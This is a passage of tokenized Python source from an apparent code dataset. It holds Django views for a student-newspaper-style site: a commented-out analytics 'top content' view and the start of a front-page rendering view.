"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "@", "cache", "\\u", "page", "(", "60", " ", "*", " ", "5", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "top", "\\u", "onli", "ne", "(", "request", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "connecti", "on", " ", "=", " ", "Connect", "ion", "(", "settings", ".", "ANALY", "TIC", "S", "\\u", "EMA", "IL", "\\u", "ADDR", "ESS", ",", " ", "settings", ".", "ANALY", "TIC", "S", "\\u", "EMA", "IL", "\\u", "PASS", "WORD", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "account", " ", "=", " ", "connecti", "on", ".", "get", "\\u", "account", "s", "()[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "toda", "y", " ", "=", " ", "datetime", ".", "toda", "y", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "issue", "s", " ", "=", " ", "Issue", ".", "object", "s", ".", "all", "()", ".", "order", "\\u", "by", "('", "-", "pub", "\\u", "date", "')", ".", "filter", "(", "onli", "ne", "\\u", "update", "=", "0", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "lte", "=", "toda", "y", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "start", " ", "=", " ", "issue", "s", "[", "1", "].", "pub", "\\u", "date", ".", "date", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "end", " ", "=", " ", "issue", "s", "[", "0", "].", "pub", "\\u", "date", ".", "date", "()", "-", "timedelta", "(", "day", "s", "=", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "start", " ", "=", " ", "issue", "s", "[", "0", "].", "pub", "\\u", "date", ".", "date", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "end", " ", "=", " ", "date", ".", "toda", "y", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "hits", " ", "=", " ", "account", ".", "get", "\\u", "data", "(", "start", "\\u", "date", "=", "start", ",", " ", "end", "\\u", "date", "=", "end", ",", " ", "dimension", "s", "=[", "'", "page", "Path", "',", "],", " ", "metric", "s", "=[", "'", "page", "views", "',", "],", " ", "sort", "=[", "'-", "page", "views", "',", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "hits", "\\u", "list", " ", "=", " ", "top", "\\u", "hits", ".", "tuple", "[:", "25", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "page", "s", " ", "=", " ", "account", ".", "get", "\\u", "data", "(", "start", "\\u", "date", "=", "start", ",", " ", "end", "\\u", "date", "=", "end", ",", " ", "dimension", "s", "=[", "'", "page", "Tit", "le", "','", "page", "Path", "',", "],", " ", "metric", "s", "=[", "'", "page", "views", "',", "],", " ", "sort", "=[", "'-", "page", "views", "',", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "page", "s", "\\u", "list", " ", "=", " ", "top", "\\u", "page", "s", ".", "tuple", "[:", "25", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "allow", "ed", "\\u", "url", "\\u", "base", "s", " ", "=", " ", "['", "audio", "',", " ", "'", "blogs", "',", " ", "'", "calendar", "',", " ", "'", "graphic", "s", "',", " ", "'", "layouts", "',", " ", "'", "maps", "',", " ", "'", "photo", "s", "',", " ", "'", "podcast", "s", "',", " ", "'", "polls", "',", " ", "'", "slides", "how", "s", "',", " ", "'", "stories", "',", " ", "'", "videos", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "content", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "entry", " ", "in", " ", "top", "\\u", "hits", "\\u", "list", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "substring", "[", "1", "]", " ", "in", " ", "allow", "ed", "\\u", "url", "\\u", "base", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "content", ".", "append", "((", "entry", ",", " ", "substring", "[", "1", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "entry", " ", "in", " ", "top", "\\u", "content", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "audio", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "audio", "clip", " ", "=", " ", "Audi", "o", "Clip", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "audio", "clip", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "blogs", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "slug", " ", "=", " ", "substring", "[", "6", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "entry", " ", "=", " ", "Entr", "y", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "slug", "=", "slug", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "entry", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "calendar", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "slug", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "event", " ", "=", " ", "Event", ".", "object", "s", ".", "filter", "(", "start", "\\u\\u", "year", "=", "year", ").", "filter", "(", "start", "\\u\\u", "month", "=", "month", ").", "filter", "(", "start", "\\u\\u", "day", "=", "day", ").", "get", "(", "slug", "=", "slug", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "event", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "graphic", "s", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "graphic", " ", "=", " ", "Graphic", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "graphic", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "layouts", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "layout", " ", "=", " ", "Lay", "out", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "layout", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "maps", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "slug", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "map", " ", "=", " ", "Poll", ".", "object", "s", ".", "get", "(", "slug", "=", "slug", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "map", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "photo", "s", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "photo", " ", "=", " ", "Photo", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "photo", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "podcast", "s", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "episode", " ", "=", " ", "Episod", "e", ".", "object", "s", ".", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "episode", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "polls", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "poll", " ", "=", " ", "Poll", ".", "object", "s", ".", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "poll", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "slides", "how", "s", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "slides", "how", " ", "=", " ", "Slide", "show", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "slides", "how", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "stories", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "slug", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "article", " ", "=", " ", "Artic", "le", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "slug", "=", "slug", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "article", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eli", "f", " ", "entry", "[", "1", "]", " ", "==", " ", "'", "videos", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "substring", " ", "=", " ", "entry", "[", "0", "][", "0", "][", "0", "].", "split", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "year", " ", "=", " ", "substring", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "month", " ", "=", " ", "substring", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "day", " ", "=", " ", "substring", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "id", " ", "=", " ", "substring", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "video", " ", "=", " ", "Vid", "eo", ".", "object", "s", ".", "filter", "(", "pub", "\\u", "date", "\\u\\u", "year", "=", "year", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "month", "=", "month", ").", "filter", "(", "pub", "\\u", "date", "\\u\\u", "day", "=", "day", ").", "get", "(", "id", "=", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", ".", "append", "(", "video", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "top", "\\u", "onli", "ne", " ", "=", " ", "top", "\\u", "onli", "ne", "[:", "10", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "page", " ", "=", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "end", "':", " ", "end", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "start", "':", " ", "start", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "top", "\\u", "content", "':", " ", "top", "\\u", "content", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "top", "\\u", "hits", "\\u", "list", "':", " ", "top", "\\u", "hits", "\\u", "list", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "top", "\\u", "onli", "ne", "':", " ", "top", "\\u", "onli", "ne", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "top", "\\u", "page", "s", "\\u", "list", "':", " ", "top", "\\u", "page", "s", "\\u", "list", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "manage", "ment", "/", "top", "\\u", "onli", "ne", ".", "html", "',", " ", "page", ",", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "cache", "\\u", "page_", "(_", "60_", "*_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "render", "\\u", "front", "page_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "\\", "10", ";", "\t", "Retrieve", "s", " ", "the", " ", "most", " ", "recent", "ly", " ", "update", "d", " ", "front", "-", "page", " ", "configura", "tion", " ", "from", " ", "the", " ", "\\", "10", ";", "\t", "databa", "se", " ", "and", " ", "render", "s", " ", "it", ".", "\\", "10", ";", "\t", "\\", "10", ";", "\t", "Sin", "ce", " ", "this", " ", "view", " ", "will", " ", "process", " ", "any", "where", " ", "from", " ", "a", " ", "quarter", " ", "to", " ", "half", " ", "our", " ", "page", "views", " ", "\\", "10", ";", "\t", "for", " ", "a", " ", "give", "n", " ", "day", ",", " ", "it", " ", "shou", "ld", " ", "be", " ", "pretty", " ", "dam", "n", " ", "fast", ".", " ", "Dj", "ang", "o", "'", "s", " ", "template", " ", "language", "\\", "10", ";", "\t", "is", " ", "nice", ",", " ", "but", " ", "doi", "ng", " ", "process", "ing", " ", "there", " ", "is", " ", "muc", "h", " ", "slowe", "r", " ", "than", " ", "doi", "ng", " ", "it", " ", "in", " ", "the", "\\", "10", ";", "\t", "view", "--", "so", " ", "let", "'", "s", " ", "do", " ", "a", " ", "fair", " ", "amo", "unt", " ", "of", " ", "the", " ", "render", "ing", " ", "and", " ", "process", "ing", " ", "bef", "ore", " ", "we", "\\", "10", ";", "\t", "get", " ", "there", ".", "\\", "10", ";", "\t", "\\", "10", ";", "\t", "Templa", "te", ":", "\\", "10", ";", "\t", "\t", "front", "page", ".", "html", "\\", "10", ";", "\t", "\\", "10", ";", "\t", "Arg", "ument", "s", ":", "\\", "10", ";", "\t", "\t", "Non", "e", ".", "\\", "10", ";", "\t", "\\", "10", ";", "\t", "Context", " ", "(", "let", "'", "s", " ", "fill", " ", "this", " ", "in", " ", "soo", "n", "):", "\\", "10", ";", "\t", "\t", "'", "all", "\\u", "blogs", "'", "\\", "10", ";", "\t", "\t", "'", "calendar", "'", "\\", "10", ";", "\t", "\t", "'", "calendar", "\\u", "list", "'", "\\", "10", ";", "\t", "\t", "'", "events", "'", "\\", "10", ";", "\t", "\t", "'", "event", "\\u", "list", "'", "\\", "10", ";", "\t", "\t", "'", "issue", "'", "\\", "10", ";", "\t", "\t", "'", "issue", "\\u", "front", "'", "\\", "10", ";", "\t", "\t", "'", "issue", "\\u", "other", "\\u", "layouts", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "audio", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "blog", "\\u", "posts", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "multim", "edia", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "onli", "ne", "\\u", "exclu", "sive", "s", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "podcast", "\\u", "episode", "s", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "slides", "how", "'", "\\", "10", ";", "\t", "\t", "'", "late", "st", "\\u", "video", "'", "\\", "10", ";", "\t", "\t", "'", "month", "'", "\\", "10", ";", "\t", "\t", "'", "month", "\\u", "format", "ted", "'", "\\", "10", ";", "\t", "\t", "'", "month", "\\u", "minu", "s", "'", "\\", "10", ";", "\t", "\t", "'", "month", "\\u", "name", "'", "\\", "10", ";", "\t", "\t", "'", "month", "\\u", "plus", "'", "\\", "10", ";", "\t", "\t", "'", "news", "\\u", "burst", "s", "'", "\\", "10", ";", "\t", "\t", "'", "other", "\\u", "info", "'", "\\", "10", ";", "\t", "\t", "'", "rotati", "ng", "\\u", "item", "\\u", "list", "'", "\\", "10", ";", "\t", "\t", "'", "rotati", "ng", "\\u", "items", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "arts", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "arts", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "forum", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "forum", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "news", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "news", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "outl", "ook", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "outl", "ook", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "sport", "s", "'", "\\", "10", ";", "\t", "\t", "'", "section", "\\u", "sport", "s", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "this", "\\u", "month", "'", "\\", "10", ";", "\t", "\t", "'", "this", "\\u", "year", "'", "\\", "10", ";", "\t", "\t", "'", "toda", "y", "'", "\\", "10", ";", "\t", "\t", "'", "top", "\\u", "article", "s", "'", "\\", "10", ";", "\t", "\t", "'", "weekday", "\\u", "header", "'", "\\", "10", ";", "\t", "\t", "'", "year", "'", "\\", "10", ";", "\t", "\t", "'", "year", "\\u", "minu", "s", "'", "\\", "10", ";", "\t", "\t", "'", "year", "\\u", "plus", "'", "\\", "10", ";", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "Site_", "._", "objects_", "._", "get", "\\u", "current_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front_", "=_", "Web", "Front", "_", "._", "objects_", "._", "select", "\\u", "related_", "(_", "depth_", "=_", "1_", ")_", "._", "filter_", "(_", "site_", "=_", "site_", ",_", "type_", "=_", "'", "site", "'_", ")_", "._", "latest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "issue_", "=_", "front_", "._", "issue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "the", " ", "top", " ", "article", "s", " ", "not", " ", "in", " ", "the", " ", "rotati", "on", ",", " ", "we", " ", "choose", " ", "from", " ", "publi", "shed", " ", "article", "s", " ", "tha", "t", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "are", " ", "on", " ", "the", " ", "current", " ", "site", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "wer", "e", " ", "publi", "shed", " ", "on", " ", "or", " ", "after", " ", "the", " ", "day", " ", "this", " ", "issue", " ", "was", " ", "publi", "shed", " ", "and_", 